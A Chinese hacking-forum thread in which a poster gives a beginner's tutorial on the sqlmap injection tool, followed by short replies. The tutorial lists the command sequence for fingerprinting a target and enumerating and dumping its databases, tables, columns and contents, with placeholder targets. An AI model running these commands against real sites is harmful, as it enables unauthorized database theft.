请选择 进入手机版 | 继续访问电脑版
查看: 2705|回复: 7

菜鸟如何使用SQLMAP

[复制链接]
  • TA的每日心情
    无聊
    2017-1-31 15:59
  • 签到天数: 132 天

    [LV.7]常住居民III

    发表于 2016-1-10 22:53:56 | 显示全部楼层 |阅读模式
    以下内容可能会对大牛造成恶心、眩晕等不良反应。关闭该页面即可好转

          SQLMAP是一个自动注入化工具 运行在Python 2.7 环境有具有很强跨平台性、无图形界面

    1.
         使用快捷方式启动
    1.jpg
    2.  
         现做如下假设   
                                 1. 已经安装Python2.7 并已经添加了环境变量
                                 2. 已经下载了SQLMAP
                                 3. 会使用cmd命令行
                                                          我知道你们都是大牛
    3.
         打开要在sqlmap的目录里
    2.jpg

    注入点 、绝对不要做坏事 我们是白帽黑阔 这已经提交补天了


    **************************************


    sqlmap.py -u "注入点" //会判断数据库类型,服务操作系统、脚本类型 前后有双引号
    3.jpg


    03服务器 / asp.net / ms sql 2008


    sqlmap.py -u "注入点" --dbs //列数据库 按上键
      
    4.jpg




    sqlmap.py -u "注入点" -D 数据库名 --tables  //列出表名


    5.jpg


    sqlmap.py -u "注入点" -D 数据库名 -T 表名 --columns  //猜字段

    6.jpg


    sqlmap.py -u "注入点" -D 数据库名 -T 表名 -C "字段名2,字段名2” --dump //获得字符、段内容



    7.png

    评分

    参与人数 2i币 +7 收起 理由
    Mrlin + 2 不是太详细 但也不错;
    C4r1st + 5

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2019-10-17 06:41
  • 签到天数: 182 天

    [LV.7]常住居民III

    发表于 2016-1-11 08:57:47 | 显示全部楼层
    我不是大牛@_@
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-1-28 18:55
  • 签到天数: 17 天

    [LV.4]偶尔看看III

    发表于 2016-1-11 09:28:08 | 显示全部楼层
    完全看不懂的说
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2020-7-7 15:58
  • 签到天数: 236 天

    [LV.7]常住居民III

    发表于 2016-1-11 14:31:08 | 显示全部楼层
    哪里恶心头疼了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-10-14 11:36
  • 签到天数: 98 天

    [LV.6]常住居民II

    发表于 2016-1-11 17:12:02 | 显示全部楼层
    不错不错,终于学会了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2018-9-22 14:28
  • 签到天数: 157 天

    [LV.7]常住居民III

    发表于 2016-1-12 14:36:44 | 显示全部楼层
    只是一些非常初级的东西,详细的推荐大家去freebuf
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2016-2-28 17:24
  • 签到天数: 72 天

    [LV.6]常住居民II

    发表于 2016-1-13 12:23:53 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2021-5-30 23:04
  • 签到天数: 90 天

    [LV.6]常住居民II

    发表于 2016-2-12 10:28:47 | 显示全部楼层
    觉得很好呢
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表